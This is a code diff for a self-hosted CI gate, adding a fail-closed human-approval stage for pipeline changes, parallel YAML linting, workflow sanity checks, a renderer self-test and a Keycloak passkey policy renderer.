+      summary "- approval-policy: **OVERRIDDEN by \`${OV_USER}\`** (permission \`${OV_PERM}\`, via PR ${OV_SRC}${SELFNOTE})"
+      summary "  - reason: ${OV_WHY}"
+      summary "  - review waived on: $(printf '\`%s\` ' $SENSITIVE)"
+      exit 0
+    fi
+
+    err "'${OV_USER}' posted ${DIRECTIVE} but is NOT authorised to override: live permission is"
+    err "  '${OV_PERM}'. The authorised set is declared in infra/gitea/approval-policy.json."
+    summary "- approval-policy: **BLOCKED — \`${OV_USER}\` may not override** (permission \`${OV_PERM}\`)"
+    exit 1
+  fi
+fi
+
+err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
+err "  review from anyone other than its author ('${AUTHOR}')."
+err "  A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
+err "  honestly approve for itself. Get a human review, or move the change out of:"
+printf '    %s\n' $SENSITIVE >&2
+err "  The list lives in infra/gitea/approval-policy.json, with a reason per entry."
+if [ "$OVERRIDE_ENABLED" = "true" ]; then
+  err "  Or, if you hold admin/owner on this repository, post this on the PR:"
+  err "      ${DIRECTIVE} <reason>"
+  err "  as a REVIEW of type 'Comment' (not the plain comment box — CI's token cannot read"
+  err "  /issues/${PR}/comments without the issue scope; see infra/gitea/set-ci-token.sh)."
+  err "  The reason is mandatory, the directive must START a line, and it must be NEWER than"
+  err "  head commit ${HEAD_SHA:0:8} — push again and you must override again."
+fi
+summary "- approval-policy: **BLOCKED — needs a non-author approval, or an admin \`${DIRECTIVE}\` comment**"
+exit 1

ci/gate.sh

@@ -46,8 +46,8 @@
 # WHICH SKIPS BLOCK, AND WHY (per stage — a skip is not one thing):
 #
 #   lint / l0 / render-golden / l1   A skip here means a PINNED tool is absent or a wired
-#     seam went unwired. On a CI runner the pinned toolchain is installed for us by
-#     .gitea/workflows/scripts/install-tools.sh, so a skip there is a DEFECT, not an
+#     seam went unwired. On a CI runner the pinned toolchain is the job image itself (the
+#     CI-built toolbox, .gitea/workflows/gate.yml), so a skip there is a DEFECT, not an
 #     environment: it BLOCKS. On a workstation a missing tool is a real local condition, so
 #     it degrades to UNDETERMINED (still non-zero, still never a pass). See strict_skips()
 #     in ci/lib.sh for how CI is detected and why misdetecting it cannot fail open.
@@ -113,6 +113,7 @@ run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage approval-policy "${CI_DIR}/approval-policy.sh"
 run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
@@ -190,6 +191,20 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
+# is the approver, per operator intent. This stage is the single exception: a change to the
+# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
+# cannot honestly be approved BY the thing it changes, so those paths still need a human.
+#
+# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
+# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
+# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
+case "${OUTCOME[approval-policy]}" in
+  fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
+  skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
+  pass) ok  "approval-policy: green" ;;
+esac
+
 # gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
 # runner registration). A FAIL is real drift and always blocks -- that is the whole point.
 # A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
@@ -242,7 +257,7 @@ for s in lint l0 render-golden l1; do
     skip)
       if strict_skips; then
         err "${s}: skipped (unwired seam / missing tool) under STRICT skips, where the pinned"
-        err "  toolchain is installed for us (.gitea/workflows/scripts/install-tools.sh) and every"
+        err "  toolchain is baked into the job image (.gitea/workflows/gate.yml container:) and every"
         err "  seam is on main — so this is a DEFECT, not an environment -> blocks merge"
         summary "- ${s}: **SKIPPED under strict skips** (unwired seam / missing tool) — blocks merge"
         BLOCK=1

ci/lib.sh

@@ -97,9 +97,9 @@ cluster_available() { truthy "${CLUSTER_AVAILABLE:-false}"; }
 # --- Skip strictness: is this a CI runner, or a workstation? -------------------
 # A SKIPPED stage is never green anywhere (HARD RULE 4), but its SEVERITY differs:
 #
-#   CI       the pinned toolchain is installed by .gitea/workflows/scripts/install-tools.sh
-#            before the gate runs, and every seam is on `main`. A stage that skips here is a
-#            DEFECT (a tool dropped from the installer, a seam that went unwired) -> BLOCK.
+#   CI       the pinned toolchain IS the job image (the CI-built toolbox; gate.yml `container:`),
+#            and every seam is on `main`. A stage that skips here is a
+#            DEFECT (a tool dropped from the image, a seam that went unwired) -> BLOCK.
 #   local    a missing pinned tool is a real, ordinary local condition -> the gate reports
 #            UNDETERMINED (exit 3): not green, not a pass, but distinguishable from a red.
 #

ci/lint.sh

@@ -25,5 +25,72 @@ if [ "${#files[@]}" -eq 0 ]; then
   exit 0
 fi
 
-yamllint -c "${CI_DIR}/yamllint.yaml" -f "${YAMLLINT_FORMAT:-standard}" "${files[@]}"
-ok "yaml/lint passed (${#files[@]} files)"
+# yamllint is single-threaded, so the file list is split into LINT_JOBS CONTIGUOUS slices of the
+# sorted list, one yamllint per slice, run concurrently. Each slice's output goes to its own file
+# and the files are printed in slice order afterwards: the log is the same text, in the same
+# file order, as one serial `yamllint "${files[@]}"`, and a finding is never interleaved with
+# another process's output (yamllint's standard format puts the FILE NAME on its own line above
+# that file's `line:col` findings, so interleaving would misattribute them). The stage's exit
+# code is the highest any slice returned (yamllint: 1 = error, 2 = warning under strict), so a
+# single failing slice fails the stage exactly as the serial call did. LINT_JOBS=1 is serial.
+lint_jobs="${LINT_JOBS:-$(n="$(nproc 2>/dev/null || echo 1)"; [ "$n" -gt 8 ] && n=8; echo "$n")}"
+case "$lint_jobs" in ''|*[!0-9]*|0) err "LINT_JOBS must be a positive integer, got '${lint_jobs}'"; exit 2 ;; esac
+[ "$lint_jobs" -gt "${#files[@]}" ] && lint_jobs="${#files[@]}"
+lint_tmp="$(mktemp -d)"
+trap 'rm -rf "$lint_tmp"' EXIT
+per=$(( (${#files[@]} + lint_jobs - 1) / lint_jobs ))
+pids=()
+for (( i = 0; i < lint_jobs; i++ )); do
+  slice=("${files[@]:$(( i * per )):${per}}")
+  [ "${#slice[@]}" -gt 0 ] || break
+  ( rc=0
+    yamllint -c "${CI_DIR}/yamllint.yaml" -f "${YAMLLINT_FORMAT:-standard}" "${slice[@]}" \
+      >"${lint_tmp}/${i}.out" 2>&1 || rc=$?
+    echo "$rc" >"${lint_tmp}/${i}.rc" ) &
+  pids+=("$!")
+done
+wait "${pids[@]}" || true
+lint_rc=0
+for (( i = 0; i < ${#pids[@]}; i++ )); do
+  cat "${lint_tmp}/${i}.out"
+  # A slice that left no rc file died before yamllint returned: that is a failure, not a pass.
+  slice_rc="$(cat "${lint_tmp}/${i}.rc" 2>/dev/null || true)"
+  case "$slice_rc" in ''|*[!0-9]*) slice_rc=1 ;; esac
+  [ "$slice_rc" -gt "$lint_rc" ] && lint_rc="$slice_rc"
+done
+if [ "$lint_rc" -ne 0 ]; then
+  err "yaml/lint failed (yamllint exit ${lint_rc}; ${#files[@]} files in ${#pids[@]} parallel slice(s))"
+  exit "$lint_rc"
+fi
+ok "yaml/lint passed (${#files[@]} files, ${#pids[@]} parallel slice(s))"
+
+# A workflow's `configurationFile:` must name a file that exists. Renovate's did not after #79
+# renamed renovate.json -> renovate.json5, and every scheduled run failed with ENOENT for 11 days
+# while the gate stayed green. Valid YAML, so yamllint cannot see it.
+missing=0
+while IFS=: read -r wf _ value; do
+  value="${value#*configurationFile:}"
+  value="$(echo "$value" | sed -E 's/#.*//; s/^[[:space:]"'\'']+//; s/[[:space:]"'\'']+$//')"
+  if [ -n "$value" ] && [ ! -e "$value" ]; then
+    err "${wf}: configurationFile '${value}' does not exist in the repo"
+    missing=1
+  fi
+done < <(grep -nE '^[[:space:]]*configurationFile:' .gitea/workflows/*.y*ml 2>/dev/null || true)
+[ "$missing" -eq 0 ] || exit 1
+ok "workflow configurationFile references resolve"
+
+# A workflow must not use an action that needs a Docker daemon: jobs on this runner get NONE, by
+# decision (decisions/2026-10-29-image-pipeline.md; act_runner maps docker_host to `-`). Such an
+# action is valid YAML and passes every other stage, then dies at runtime with
+# "failed to connect to the docker API at unix:///var/run/docker.sock". renovatebot/github-action
+# did exactly that on every Renovate run until 2026-10-30 (run 343). Run the tool's image as the
+# job `container:` instead (see .gitea/workflows/renovate.yaml). Container (`docker://`) actions
+# and Docker's own daemon-bound actions are rejected for the same reason. Comments are ignored.
+daemon_uses='uses:[[:space:]]*["'\'']?(docker://|renovatebot/github-action|docker/(build-push|setup-buildx|setup-qemu|login)-action)'
+bad=0
+while IFS= read -r hit; do
+  err "${hit%%:*}: needs a Docker daemon, which jobs here do not get: $(echo "${hit#*:*:}" | sed -E 's/^[[:space:]]+//')"
+  bad=1
+done < <(grep -HnE "^[^#]*${daemon_uses}" .gitea/workflows/*.y*ml 2>/dev/null || true)
+[ "$bad" -eq 0 ] || exit 1
+ok "no workflow uses a Docker-daemon-bound action"

ci/render-golden.sh

@@ -1,5 +1,10 @@
 #!/usr/bin/env bash
-# ci/render-golden.sh — Stage: render==golden reproducibility gate.
+# ci/render-golden.sh — Stage: the renderer is trustworthy.
+#   (1) catalog/render.py passes its OWN output-contract self-test, and
+#   (2) every committed apps/ golden reproduces byte-for-byte from the canonical render.
+# Two independent assertions about one subject, catalog/render.py. (1) was added
+# 2026-10-01 because nothing in ci/ or .gitea/ had ever invoked `--selftest`; see the
+# block above the invocation for why it lives here and not in a conformance check.
 #
 # WHY: the committed apps/ tree is a set of GOLDENS produced by ONE canonical
 # invocation of catalog/render.py. If a golden is hand-edited, or a catalog
@@ -54,6 +59,54 @@ if [ ! -f "$RENDER_PY" ]; then
   summary "- render-golden: **SKIPPED** (renderer missing)"
   exit 3
 fi
+# --- The renderer's OWN self-test, before anything is compared ---------------
+# `catalog/render.py --selftest` is ~106 executed assertions on the renderer's output
+# contract (default-deny covers both directions, the Kyverno namespace hook label, a valid
+# auth-mode, the oauth2-proxy sidecar's cookie-name/-domain/-refresh flags, the
+# placeholder-substitution guard, the observability refusals...). Until now NOTHING in ci/
+# or .gitea/ invoked it — measured by grep on 2026-09-30 and recorded as the top follow-up
+# of decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md — so every one of those
+# assertions was dev-time only and a merge gate could not tell a sound renderer from a
+# gutted one.
+#
+# WHY HERE, AND NOT IN A CONFORMANCE CHECK. The lead was
+# conformance/tests/l0-static/auditability-proofs-producible/check.sh, which drives
+# `conformance/lib/{record_run,status}.py --selftest` "because nothing else drives them".
+# That loop is NOT the right hook: that check serves R-SEC-03 and its subject is the
+# EVIDENCE CHAIN (can a forged or stale run become a proof?). The renderer is not part of
+# that chain, and hanging it there would make the check's name and its requirement mapping
+# a lie. This stage's subject already IS catalog/render.py — it exists to assert that the
+# renderer's output is trustworthy — so the renderer's own contract test belongs in it.
+#
+# It runs BEFORE the catalog/empty-catalog exit-3 below on purpose: the self-test is
+# deterministic and catalog-independent (it renders synthetic ServiceDefinitions in
+# memory), so an empty catalog must not be able to skip it.
+#
+# render-golden and the self-test are INDEPENDENT assertions, which is why both are needed:
+# render-golden catches golden-vs-renderer drift but is satisfied by ANY renderer whose
+# output was re-rendered, including one that just lost a contract invariant and had all ten
+# goldens regenerated in the same commit. The self-test catches exactly that.
+#
+# FAILURE IS A HARD FAIL, NOT A SKIP: the renderer is source in this repo, so "could not
+# run its self-test" has no legitimate environmental cause once python3 and render.py are
+# both present (both asserted above). ci/gate.sh maps this stage's rc 1 to BLOCKED.
+log "Stage: catalog/render.py --selftest (the renderer's own output-contract assertions)"
+selftest_out="$(mktemp)"
+if "$PYTHON" "$RENDER_PY" --selftest >"$selftest_out" 2>&1; then
+  ok "render.py --selftest passed"
+  summary "- render-selftest: **passed** (\`catalog/render.py --selftest\`)"
+else
+  err "catalog/render.py --selftest FAILED — the renderer violates its own output contract."
+  err "  Every golden under apps/ is produced by this renderer, so the goldens below cannot"
+  err "  be trusted even if they reproduce byte-for-byte. Reproduce with:"
+  err "    ${PYTHON} catalog/render.py --selftest"
+  sed 's/^/    /' "$selftest_out" >&2 || true
+  summary "- render-selftest: **FAILED** (\`catalog/render.py --selftest\` — renderer contract violated)"
+  rm -f "$selftest_out"
+  exit 1
+fi
+rm -f "$selftest_out"
+
 if [ ! -d "$CATALOG_DIR" ] || ! compgen -G "${CATALOG_DIR}/*.yaml" >/dev/null 2>&1; then
   skip "no catalog ServiceDefinitions under '${CATALOG_DIR}' — nothing to render."
   summary "- render-golden: **SKIPPED** (empty catalog)"

ci/render-keycloak-passkey-policy.py

@@ -0,0 +1,490 @@
+#!/usr/bin/env python3
+# =============================================================================
+# ci/render-keycloak-passkey-policy.py
+#
+# Render platform/keycloak/passkey-desired-state.yaml FROM
+# platform/keycloak/keycloak-realm-import.yaml.
+#
+# WHY THIS EXISTS
+# ---------------
+# The Keycloak realm import is a ONE-SHOT that fails OPEN: once it rests at
+# Done=True / Started=False it never re-runs. Measured on prod 2026-10-18, hours
+# after the passkey declaration merged:
+#
+#     kubectl -n keycloak get keycloakrealmimport homelab -o jsonpath=...status
+#     Done=True  Started=False  HasErrors=False
+#
+# So the WebAuthn passwordless policy and the restructured `browser-mfa` flow that
+# keycloak-realm-import.yaml declares are INERT. They are in git, Flux applied
+# them, and they reach the realm never. platform/keycloak/passkey-reconciler.yaml
+# is the level-triggered loop that closes that; this renderer supplies the DESIRED
+# STATE it converges towards.
+#
+# THE ONE VALUE THAT IS NOT RENDERED: `bind-browser-flow`, git's switch for whether the
+# reconciler may BIND its verified candidate browser flow (one atomic PUT of the
+# realm's browserFlow). It is an operator DECISION -- "I have tested the candidate
+# flow in a browser; make it the login path" -- not a fact derivable from the realm
+# import, so it cannot be generated. It is instead CARRIED THROUGH from the committed
+# file: --write preserves it, --check accepts any value of it that is exactly the
+# string "true" or "false" and rejects everything else (an unquoted YAML true is a
+# bool, which a ConfigMap rejects at apply time -- failing the whole platform-config
+# Kustomization -- so it is refused HERE, at merge time). An absent file or key
+# renders as "false". Going live is therefore a one-line PR flipping that line.
+#
+# THE CONSTRAINT THAT SHAPES IT: the reconciler pod runs with
+# automountServiceAccountToken: false, exactly like its client-secret sibling. It
+# has NO Kubernetes API access at all, by design (R-SEC-02) — so it cannot read the
+# KeycloakRealmImport CR to learn what the realm is supposed to look like. Its input
+# must be MOUNTED. Hence a ConfigMap.
+#
+# THAT IS ALSO WHY THIS IS A RENDERER AND NOT A HAND-WRITTEN ConfigMap. A
+# hand-authored copy of the policy would be a SECOND SOURCE OF TRUTH for the RP ID,
+# the user-verification requirement and the whole flow tree — free to disagree with
+# the realm import. "Two declarations that can disagree" is the same shape as the
+# bug this whole effort is closing. So the ConfigMap is GENERATED from the realm
+# import and the generation is GATED:
+# conformance/tests/l0-static/keycloak-passkey-reconciler/check.sh runs this script
+# with --check on every merge, and the merge fails if the committed file is not what
+# this renderer produces. Same render==golden idiom as
+# ci/render-keycloak-client-urls.py, catalog/render.py and ci/render-golden.sh.
+#
+# STRINGS ARE COPIED VERBATIM, NEVER RE-DERIVED. webAuthnPolicyPasswordlessRpId is
+# written in the realm import as the Flux substitution token ${BASE_DOMAIN}, and it
+# is carried through into the ConfigMap CHARACTER FOR CHARACTER. Both files are
+# rendered by the SAME Flux Kustomization (./platform-config, whose
+# postBuild.substituteFrom reads cluster-vars), so both are substituted in the same
+# pass with the same value and cannot disagree about what the base domain is. This
+# renderer never parses, splits or reconstructs a hostname and never reads
+# cluster-vars — there is no second place the domain is decided.
+#
+# THE ONE THING THIS RENDERER DERIVES RATHER THAN COPIES
+# -----------------------------------------------------
+# The enrolment required action, `webauthn-register-passwordless`. It is
+# deliberately NOT declared in the realm import, and the import's own header
+# explains at length why declaring it there would be actively DANGEROUS: Keycloak
+# 26.0.6 treats `requiredActions` in a realm representation as REPLACE, not merge,
+# so declaring one action imports exactly that action plus delete_account and skips
+# DefaultRequiredActions.addActions entirely — deleting CONFIGURE_TOTP,
+# UPDATE_PASSWORD, VERIFY_EMAIL and seven more. Losing CONFIGURE_TOTP is a hard
+# lock-out of every platform-admin, because auth-otp-form in the browser flow still
+# demands a TOTP they could then never enrol.
+#
+# So the required action cannot be copied from the import, because it is correctly
+# absent from it. It is instead DERIVED, as a consequence of what the import DOES
+# declare:
+#
+#   IF the declared browser flow contains a `webauthn-authenticator-passwordless`
+#   execution, THEN passkey logins are offered, THEREFORE the enrolment action must
+#   be registered and enabled — and NOT a defaultAction, because the import's whole
+#   stated posture is "additive and optional" and a defaultAction forces enrolment
+#   on every user at next login.
+#
+# This is a derivation, not a second declaration: there is no value here that a
+# human could edit into disagreement with the import. If the import stops declaring
+# the passkey execution, this renderer stops emitting the required action (and
+# fails, because then the whole desired state is empty of passkey intent).
+#
+# WHAT IS DELIBERATELY NOT EXPORTED
+#   * the TWO-FACTOR webAuthnPolicy* family. Nothing in this realm uses the
+#     `webauthn-authenticator` two-factor authenticator; the passwordless
+#     authenticator reads getWebAuthnPolicyPasswordless() only, so a policy written
+#     into the two-factor family is a silent no-op. Exporting it would hand the
+#     reconciler a write surface with no purpose.
+#   * `clients`, `users`, `groups`, `roles`. Client secrets and client URLs are the
+#     SIBLING reconciler's surface (platform/keycloak/client-secret-reconciler.yaml),
+#     and users/groups/roles are nobody's — prod's real user and the media-users /
+#     platform-admins / viewers groups must survive every run of everything.
+#   * execution `priority`. It is consumed here to ORDER the exported executions
+#     (Keycloak returns them in priority order), but the numbers themselves are not
+#     exported: the reconciler compares the resulting SEQUENCE, which is what
+#     actually determines behaviour. Exporting the integers would make a
+#     priority renumbering that changes no ordering read as drift.
+#
+# USAGE
+#   python3 ci/render-keycloak-passkey-policy.py            # print the rendered file
+#   python3 ci/render-keycloak-passkey-policy.py --write     # write it (regenerate)
+#   python3 ci/render-keycloak-passkey-policy.py --check     # exit 1 if it has drifted
+# =============================================================================
+from __future__ import annotations
+
+import argparse
+import difflib
+import json
+import sys
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:  # pragma: no cover
+    print("FATAL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(__file__).resolve().parent.parent
+IMPORT_FILE = "platform/keycloak/keycloak-realm-import.yaml"
+OUT_FILE = "platform/keycloak/passkey-desired-state.yaml"
+DATA_KEY = "passkey-desired-state.json"
+CONFIGMAP_NAME = "keycloak-passkey-desired-state"
+NAMESPACE = "keycloak"
+
+# The realm keys this renderer exports, and therefore the ONLY realm keys the
+# reconciler may write. Every one is a webAuthnPolicyPasswordless* field. Kept in
+# lockstep with POLICY_FIELDS in the reconciler script; the L0 check asserts the two
+# tuples are identical, so they cannot drift apart silently.
+POLICY_STR_FIELDS = (
+    "webAuthnPolicyPasswordlessRpId",
+    "webAuthnPolicyPasswordlessRpEntityName",
+    "webAuthnPolicyPasswordlessRequireResidentKey",
+    "webAuthnPolicyPasswordlessUserVerificationRequirement",
+    "webAuthnPolicyPasswordlessAuthenticatorAttachment",
+    "webAuthnPolicyPasswordlessAttestationConveyancePreference",
+)
+POLICY_LIST_FIELDS = (
+    "webAuthnPolicyPasswordlessSignatureAlgorithms",
+    "webAuthnPolicyPasswordlessAcceptableAaguids",
+)
+POLICY_INT_FIELDS = ("webAuthnPolicyPasswordlessCreateTimeout",)
+POLICY_BOOL_FIELDS = ("webAuthnPolicyPasswordlessAvoidSameAuthenticatorRegister",)
+POLICY_FIELDS = (POLICY_STR_FIELDS + POLICY_LIST_FIELDS + POLICY_INT_FIELDS
+                 + POLICY_BOOL_FIELDS)
+
+# The field Keycloak 26.0.6 gates the WHOLE passwordless policy on
+# (DefaultExportImportManager.updateRealm: the policy is applied only when
+# RpEntityName is non-null and non-empty). A desired state without it would produce
+# an accepted PUT that changes nothing, so refuse to render one.
+RP_ENTITY_NAME = "webAuthnPolicyPasswordlessRpEntityName"
+
+# The execution whose presence is what makes passkey enrolment necessary.
+PASSKEY_AUTHENTICATOR = "webauthn-authenticator-passwordless"
+ENROL_ACTION = "webauthn-register-passwordless"
+
+
+BIND_KEY = "bind-browser-flow"
+BIND_VALUES = ("true", "false")
+
+
+def committed_bind(root: Path) -> str:
+    """The operator's bind-browser-flow value from the COMMITTED file, or "false".
+
+    This is the only input read from the output file, and it is validated, not trusted:
+    anything other than the exact strings "true" / "false" is a hard failure."""
+    target = root / OUT_FILE
+    if not target.is_file():
+        return "false"
+    docs = [d for d in yaml.safe_load_all(target.read_text(encoding="utf-8")) if d]
+    cm = next((d for d in docs if d.get("kind") == "ConfigMap"), None) or {}
+    data = cm.get("data") or {}
+    if BIND_KEY not in data:
+        return "false"
+    v = data[BIND_KEY]
+    if not isinstance(v, str) or v not in BIND_VALUES:
+        raise SystemExit(
+            "FATAL: %s data.%s is %r. It must be exactly the QUOTED string \"true\" or "
+            "\"false\": an unquoted true/false is a YAML boolean, which a ConfigMap rejects "
+            "at apply time and which would fail the whole platform-config Kustomization"
+            % (OUT_FILE, BIND_KEY, v))
+    return v
+
+
+def render(root: Path) -> str:
+    """Return the full text of passkey-desired-state.yaml as it should be committed."""
+    docs = list(yaml.safe_load_all((root / IMPORT_FILE).read_text()))
+    imp = next((d for d in docs if d and d.get("kind") == "KeycloakRealmImport"), None)
+    if imp is None:
+        raise SystemExit("FATAL: no KeycloakRealmImport document in %s" % IMPORT_FILE)
+    realm = (imp.get("spec") or {}).get("realm") or {}
+    realm_name = realm.get("realm")
+    if not isinstance(realm_name, str) or not realm_name:
+        raise SystemExit("FATAL: %s declares no spec.realm.realm name" % IMPORT_FILE)
+
+    # ---- the passwordless policy, copied VERBATIM ----------------------------------
+    policy: dict[str, object] = {}
+    for f in POLICY_STR_FIELDS:
+        if f not in realm:
+            continue                      # not declared => NOT MANAGED
+        v = realm[f]
+        # A bare ${BASE_DOMAIN} parses as a plain string; an int or bool here would be
+        # a YAML quoting mistake that must not be silently stringified.
+        if not isinstance(v, str):
+            raise SystemExit("FATAL: %s realm field %s is not a string (got %r) — "
+                             "quote it in the realm import" % (IMPORT_FILE, f, v))
+        policy[f] = v
+    for f in POLICY_LIST_FIELDS:
+        if f not in realm:
+            continue
+        v = realm[f]
+        if not isinstance(v, list) or not all(isinstance(x, str) for x in v):
+            raise SystemExit("FATAL: %s realm field %s is not a list of strings"
+                             % (IMPORT_FILE, f))
+        policy[f] = list(v)               # verbatim, order as authored
+    for f in POLICY_INT_FIELDS:
+        if f not in realm:
+            continue
+        v = realm[f]
+        if not isinstance(v, int) or isinstance(v, bool):
+            raise SystemExit("FATAL: %s realm field %s is not an integer"
+                             % (IMPORT_FILE, f))
+        policy[f] = v
+    for f in POLICY_BOOL_FIELDS:
+        if f not in realm:
+            continue
+        v = realm[f]
+        if not isinstance(v, bool):
+            raise SystemExit("FATAL: %s realm field %s is not a boolean"
+                             % (IMPORT_FILE, f))
+        policy[f] = v
+
+    if not policy:
+        # Fail closed. An empty policy would make the reconciler believe every field is
+        # unmanaged and silently stop reconciling — the realm import's own fail-open.
+        raise SystemExit("FATAL: %s declares no webAuthnPolicyPasswordless* field — "
+                         "refusing to render an empty desired state" % IMPORT_FILE)
+    if not policy.get(RP_ENTITY_NAME):
+        raise SystemExit(
+            "FATAL: %s does not declare a non-empty %s. Keycloak 26.0.6 applies the "
+            "passwordless policy ONLY when that field is set, so every realm PUT would "
+            "be accepted and change nothing" % (IMPORT_FILE, RP_ENTITY_NAME))
+
+    # ---- the flow tree, flattened per flow and ORDERED BY PRIORITY -----------------
+    browser_flow = realm.get("browserFlow")
+    if not isinstance(browser_flow, str) or not browser_flow:
+        raise SystemExit("FATAL: %s declares no spec.realm.browserFlow — the flow could "
+                         "be perfect and still not be the one anyone logs in through"
+                         % IMPORT_FILE)
+    raw_flows = realm.get("authenticationFlows") or []
+    if not isinstance(raw_flows, list) or not raw_flows:
+        raise SystemExit("FATAL: %s declares no authenticationFlows" % IMPORT_FILE)
+
+    flows: dict[str, object] = {}
+    for fl in raw_flows:
+        alias = fl.get("alias")
+        if not isinstance(alias, str) or not alias:
+            raise SystemExit("FATAL: %s has an authentication flow with no alias"
+                             % IMPORT_FILE)
+        if alias in flows:
+            raise SystemExit("FATAL: %s declares the flow %r twice"
+                             % (IMPORT_FILE, alias))
+        execs = fl.get("authenticationExecutions") or []
+        if not isinstance(execs, list) or not execs:
+            raise SystemExit("FATAL: %s flow %r declares no authenticationExecutions"
+                             % (IMPORT_FILE, alias))
+        ordered = []
+        for ex in sorted(execs, key=lambda e: (e.get("priority") or 0)):
+            is_flow = bool(ex.get("authenticatorFlow"))
+            name = ex.get("flowAlias") if is_flow else ex.get("authenticator")
+            if not isinstance(name, str) or not name:
+                raise SystemExit(
+                    "FATAL: %s flow %r has an execution with neither an authenticator "
+                    "nor a flowAlias" % (IMPORT_FILE, alias))
+            requirement = ex.get("requirement")
+            if not isinstance(requirement, str) or not requirement:
+                raise SystemExit("FATAL: %s flow %r execution %r declares no requirement"
+                                 % (IMPORT_FILE, alias, name))
+            entry: dict[str, object] = {
+                "kind": "flow" if is_flow else "authenticator",
+                "name": name,
+                "requirement": requirement,
+            }
+            cfg = ex.get("authenticatorConfig")
+            if cfg is not None:
+                if not isinstance(cfg, str) or not cfg:
+                    raise SystemExit("FATAL: %s flow %r execution %r has a non-string "
+                                     "authenticatorConfig" % (IMPORT_FILE, alias, name))
+                entry["configAlias"] = cfg
+            ordered.append(entry)
+        flows[alias] = {"topLevel": bool(fl.get("topLevel")), "executions": ordered}
+
+    if browser_flow not in flows:
+        raise SystemExit("FATAL: %s binds browserFlow to %r but declares no such flow"
+                         % (IMPORT_FILE, browser_flow))
+    # Every referenced subflow must be declared, or the reconciler's flattening walks
+    # into a hole and the audit silently covers less than it claims.
+    for alias, spec in flows.items():
+        for ex in spec["executions"]:
+            if ex["kind"] == "flow" and ex["name"] not in flows:
+                raise SystemExit("FATAL: %s flow %r references subflow %r, which is not "
+                                 "declared" % (IMPORT_FILE, alias, ex["name"]))
+
+    # ---- authenticator configs, copied verbatim ------------------------------------
+    configs: dict[str, dict] = {}
+    for cfg in realm.get("authenticatorConfig") or []:
+        alias = cfg.get("alias")
+        if not isinstance(alias, str) or not alias:
+            raise SystemExit("FATAL: %s has an authenticatorConfig with no alias"
+                             % IMPORT_FILE)
+        body = cfg.get("config") or {}
+        if not isinstance(body, dict) or not body:
+            raise SystemExit("FATAL: %s authenticatorConfig %r has no config body"
+                             % (IMPORT_FILE, alias))
+        # Values are stringified because Keycloak stores authenticator config values as
+        # strings. `negate: "false"` in the import and a stored "false" are the same
+        # declaration, and a YAML-unquoted `false` must not become a Python bool that
+        # then never matches.
+        configs[alias] = {k: str(v) for k, v in sorted(body.items())}
+
+    # Every configAlias a flow references must be defined, else the reconciler reports
+    # "git declares config X but defines no key/value for it" on every run forever.
+    for alias, spec in flows.items():
+        for ex in spec["executions"]:
+            ca = ex.get("configAlias")
+            if ca and ca not in configs:
+                raise SystemExit(
+                    "FATAL: %s flow %r execution %r references authenticatorConfig %r, "
+                    "which is not declared" % (IMPORT_FILE, alias, ex["name"], ca))
+
+    # ---- the enrolment required action, DERIVED (see the header) -------------------
+    offers_passkey = any(
+        ex["kind"] == "authenticator" and ex["name"] == PASSKEY_AUTHENTICATOR
+        for spec in flows.values() for ex in spec["executions"])
+    if not offers_passkey:
+        raise SystemExit(
+            "FATAL: %s declares a webAuthnPolicyPasswordless* policy but no %r execution "
+            "in any flow. The policy decides what a passkey must BE; without that "
+            "execution nothing ever OFFERS one, so the policy is unreachable "
+            "configuration and this desired state would be meaningless"
+            % (IMPORT_FILE, PASSKEY_AUTHENTICATOR))
+
+    want = {
+        "realm": realm_name,
+        "webAuthnPolicyPasswordless": policy,
+        # enabled: passkey enrolment must be possible, since the flow offers passkeys.
+        # defaultAction FALSE: enrolment stays OPT-IN. True would force every user to
+        # enrol a passkey at next login — the platform-wide lock-out the realm import's
+        # "additive and optional" posture exists to avoid. Derived, not copied; see the
+        # header for why the import cannot declare this itself.
+        "requiredAction": {"alias": ENROL_ACTION, "enabled": True,
+                           "defaultAction": False},
+        "browserFlow": browser_flow,
+        "flows": flows,
+        "authenticatorConfig": configs,
+    }
+
+    body = json.dumps(want, indent=2, sort_keys=True, ensure_ascii=False)
+    indented = "\n".join(("    " + ln) if ln else "" for ln in body.splitlines())
+    return (HEADER + BIND_BLOCK % (BIND_KEY, committed_bind(root))
+            + "  %s: |\n" % DATA_KEY + indented + "\n")
+
+
+HEADER = """---
+# =============================================================================
+# GENERATED FILE — DO NOT EDIT BY HAND, except the one bind-browser-flow line below.
+#
+#   source:      platform/keycloak/keycloak-realm-import.yaml (spec.realm)
+#   regenerate:  python3 ci/render-keycloak-passkey-policy.py --write
+#   gated by:    conformance/tests/l0-static/keycloak-passkey-reconciler
+#                (runs this renderer with --check on every merge)
+#
+# WHAT THIS IS: the DESIRED STATE for the `homelab` realm's PASSKEY configuration —
+# the WebAuthn passwordless policy, the enrolment required action, and the declared
+# browser authentication flow tree. platform/keycloak/passkey-reconciler.yaml mounts
+# it and (a) converges the policy and the required action onto it, (b) builds the
+# declared flow tree BLUE/GREEN under a new alias and verifies it by readback, never
+# writing the flow users are logging in through, and (c) BINDS that verified flow as
+# the realm's browserFlow ONLY when `bind-browser-flow` below is "true".
+#
